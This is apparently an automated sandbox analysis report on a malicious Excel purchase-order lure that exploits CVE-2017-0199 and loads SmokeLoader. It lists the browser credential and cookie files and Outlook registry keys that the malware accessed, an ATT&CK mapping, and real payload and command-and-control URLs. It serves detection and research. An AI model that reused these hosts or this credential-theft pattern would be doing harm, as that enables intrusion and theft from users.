Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\search.json.mozlz4
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\jetpack\@all-aboard-v1-6\simple-storage\store.json
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\mimeTypes.rdf
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\chrome\.metadata
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\permissions.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\datareporting\session-state.json
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\datareporting\archived\2017-10\1508238380992.d07fbb40-1c13-49f0-9742-db90c57c7811.main.jsonlz4
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\SiteSecurityServiceState.txt
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\moz-safe-about+home\.metadata
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\addons.json
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\SecurityPreloadState.txt
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\saved-telemetry-pings\d07fbb40-1c13-49f0-9742-db90c57c7811
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\prefs.js
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\times.json
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\containers.json
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\AlternateServices.txt
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\pluginreg.dat
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\webappsstore.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\parent.lock
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\blocklist.xml

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003

Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 30.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	1 Native API	121 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	33 Exploitation for Client Execution	1 DLL Side-Loading	612 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	13 File and Directory Discovery	Remote Desktop Protocol	11 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	121 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	21 Obfuscated Files or Information	Security Account Manager	128 System Information Discovery	SMB/Windows Admin Shares	11 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	Login Hook	Login Hook	1 Install Root Certificate	NTDS	331 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	612 Process Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
#U3010TW-S PO#U3011PO#3311-20241118003.xls	27%	ReversingLabs	Win32.Exploit.CVE-2017-0199
#U3010TW-S PO#U3011PO#3311-20241118003.xls	100%	Avira	TR/AVI.Agent.xoswb
#U3010TW-S PO#U3011PO#3311-20241118003.xls	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\~DF7DC820911769618A.TMP	100%	Avira	TR/AVI.Agent.xoswb
C:\Users\user\AppData\Roaming\vtjrhji	0%	ReversingLabs

Source	Detection	Scanner	Label
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenXw~C	0%	Avira URL Cloud	safe
http://prolinice.ga/ndex.php	0%	Avira URL Cloud	safe
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenM?	0%	Avira URL Cloud	safe
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen93	0%	Avira URL Cloud	safe
http://107.172.44.178/53/WRFFRGT.txt	0%	Avira URL Cloud	safe
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenyX	0%	Avira URL Cloud	safe
http://107.172.44.178/53/seemybe	0%	Avira URL Cloud	safe
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta3	0%	Avira URL Cloud	safe
http://prolinice.ga/index.php	100%	Avira URL Cloud	malware
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFa	0%	Avira URL Cloud	safe
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta7	0%	Avira URL Cloud	safe
http://107.172.44.178/fW~(	0%	Avira URL Cloud	safe
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFs	0%	Avira URL Cloud	safe
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF~	0%	Avira URL Cloud	safe
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenUw~N	0%	Avira URL Cloud	safe
https://link.uebie.de/vW~(	0%	Avira URL Cloud	safe
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenJ	0%	Avira URL Cloud	safe
http://prolinice.ga/	0%	Avira URL Cloud	safe
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenesp	0%	Avira URL Cloud	safe
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen	0%	Avira URL Cloud	safe
https://link.uebie.de/~W~(	0%	Avira URL Cloud	safe
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF	0%	Avira URL Cloud	safe
http://107.172.44.178/	0%	Avira URL Cloud	safe
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htah	0%	Avira URL Cloud	safe
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htae	0%	Avira URL Cloud	safe
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	0%	Avira URL Cloud	safe
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFp	0%	Avira URL Cloud	safe
http://vilendar.ga/index.php	100%	Avira URL Cloud	malware
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htac	0%	Avira URL Cloud	safe
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htau	0%	Avira URL Cloud	safe
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta.	0%	Avira URL Cloud	safe
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenVw~M	0%	Avira URL Cloud	safe
https://link.uebie.de/	0%	Avira URL Cloud	safe
http://prolinice.ga/application/x-www-form-urlencodedMozilla/5.0	0%	Avira URL Cloud	safe
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF=	0%	Avira URL Cloud	safe
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htaM	0%	Avira URL Cloud	safe
http://prolinice.ga/index.phpMozilla/5.0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
link.uebie.de	5.45.108.48	true	false	high
ip.1017.filemail.com	142.215.209.78	true	false	high
prolinice.ga	46.173.214.24	true	true	unknown
1017.filemail.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.172.44.178/53/WRFFRGT.txt	true	Avira URL Cloud: safe	unknown
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF	true	Avira URL Cloud: safe	unknown
http://prolinice.ga/index.php	true	Avira URL Cloud: malware	unknown
http://vilendar.ga/index.php	true	Avira URL Cloud: malware	unknown
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	true	Avira URL Cloud: safe	unknown
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f	false		high
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	false		high
http://prolinice.ga/ndex.php	explorer.exe, 00000026.00000002.601139642.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	false		high
http://ocsp.entrust.net03	mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFa	powershell.exe, 00000006.00000002.454017233.000000001A8CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://1017.filemail.com	powershell.exe, 00000010.00000002.511129884.00000000025C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.560114781.0000000002672000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenXw~C	mshta.exe, 00000011.00000003.486994334.000000000014C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000014D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta.	mshta.exe, 00000005.00000003.421467560.0000000000386000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.000000000031E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000014D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487556654.00000000000FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.172.44.178/53/seemybe	powershell.exe, 00000006.00000002.447990130.0000000002281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta3	mshta.exe, 00000005.00000003.421467560.00000000003D7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423322872.00000000003D1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.00000000003D1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	powershell.exe, 00000006.00000002.447990130.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta7	mshta.exe, 00000005.00000003.423322872.0000000000370000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.421467560.0000000000371000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen93	mshta.exe, 00000011.00000003.476368039.000000000015F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenM?	mshta.exe, 00000011.00000003.476368039.000000000015F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF~	powershell.exe, 00000013.00000002.509085075.000000001AC90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.172.44.178/fW~(	mshta.exe, 00000005.00000003.423125156.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.000000000329C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFs	powershell.exe, 00000013.00000002.509085075.000000001AC90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3	explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenyX	mshta.exe, 00000011.00000002.487556654.000000000012A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.447990130.0000000002081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.511129884.00000000023C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.494305051.0000000001F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.560114781.0000000002471000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.cr	powershell.exe, 00000006.00000002.454017233.000000001A832000.00000004.00000020.00020000.00000000.sdmp	false		high
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenUw~N	mshta.exe, 00000011.00000002.487556654.000000000012A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFp	powershell.exe, 00000006.00000002.447990130.0000000002281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenJ	mshta.exe, 00000011.00000003.476368039.00000000001B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6S	powershell.exe, 0000001C.00000002.560114781.0000000002672000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.piriform.com/ccleanerxe	explorer.exe, 0000001F.00000000.521769301.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://link.uebie.de/vW~(	mshta.exe, 00000005.00000003.423125156.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.000000000329C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htac	mshta.exe, 00000011.00000002.488032754.0000000004970000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htae	mshta.exe, 00000005.00000003.424122404.0000000003241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426639453.0000000003241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423310092.000000000323A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://prolinice.ga/	explorer.exe, 00000026.00000002.601139642.0000000000644000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htah	mshta.exe, 00000005.00000003.423293485.0000000002875000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486546130.0000000003165000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.482417273.0000000003165000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenesp	mshta.exe, 00000011.00000003.487328121.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487807567.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.172.44.178/	mshta.exe, 00000005.00000003.423125156.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487347079.0000000003C56000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.482683098.0000000003C56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	false		high
